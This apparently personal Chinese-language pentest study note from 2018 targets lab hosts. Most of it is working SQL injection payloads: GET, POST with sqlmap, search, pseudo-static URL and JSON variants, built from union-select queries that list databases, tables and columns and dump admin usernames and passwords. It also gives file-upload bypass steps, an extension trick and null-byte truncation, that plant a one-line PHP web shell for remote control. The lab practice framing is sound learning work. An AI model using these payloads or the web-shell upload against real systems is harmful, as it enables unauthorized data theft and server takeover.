部分笔记(未完待续)
2018-08-28 本文已影响0人
ch3nie
0x01 SQL注入
1.GET型SQL注入
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=1
测试该url存在注入,且字段数为3
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=1' order by 3--+
找回显2,3字段有回显
192.168.0.8:2333/pentest/sql-injection-get.php?id=-1' union select 1,2,3--+

爆数据库
http://192.168.0.8:2333/pentest/sql-injection-get.php?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+


后续。。。。。。。你懂的
2.POST型注入
2.1sqlmap
抓一个POST包,另存为a.txt

python sqlmap.py -r C:\Users\CHEN\Desktop\a.txt

然后跑出每个库中的表
python2 sqlmap.py -r C:\Users\CHEN\Desktop\a.txt -p uname --tables

2.2 手工
1' union select group_concat(database()),2 from information_schema.schemata#
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pentest'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
1' union select group_concat(username,password),2 from admin#
3.search型SQL注入
判断字段


爆数据库
admin' and 1=2 union select group_concat(schema_name) from information_schema.schemata#

4.伪静态注入
0x01伪静态注入1
emmmmmmm这好像是我第一次做伪静态的注入,讲真,之前还老是分辨不清伪静态和真静态QAQ
找出注入点很easy,但是不太会构造,然后尝试了很多次去构造
按照惯例,我们先判断字段数,一开始自己想的复杂了,还是不熟练sql注
http://192.168.0.26/pentest/userid-1' and 1=1 order by 3--+.html
让他前面报错,找回显
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,2,3--+.html
爆数据库(下面两个都行,只不过上面那个只查询出当前数据库,下面那个查询出该服务器上所有的)
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(database()),3 --+.html
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+.html
爆pentest数据库的表
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest'--+.html

查询admin表的字段
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin'--+.html

获取账号密码
http://192.168.0.26/pentest/userid-1' and 1=2 union select 1,group_concat('username',';','password'),3 from admin--+.html

0X02伪静态注入2
常规找注入,查字段,找回显

爆数据库
http://192.168.0.102/pentest/userid/-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+/getpassword.html

剩下的。。。。
5.JSON注入
admin' and 1=2 union select group_concat(schema_name) from information_schema.schemata--+


0x03 上传
在上传之前我们先看一下源码进行一下分析,他检测的是上传文件的后缀,且这是PHP的网站

抓包改后缀
我们可以写一个一句话的木马,文件后缀改为.php;.jpg
然后上传绕过js前端验证,抓包,把文件后缀.php;.jpg改为.php 然后成功上传返回路径,然后用菜刀连接


00截断
上传文件名为“00jieduan.php+.jpg”的一句话木马,然后抓包,把加号(+) 0x2b改为0x00然后发包

上传成功,访问木马http://192.168.171.142/pentest/uploads/00jieduan.php,用菜刀连接
改前端js

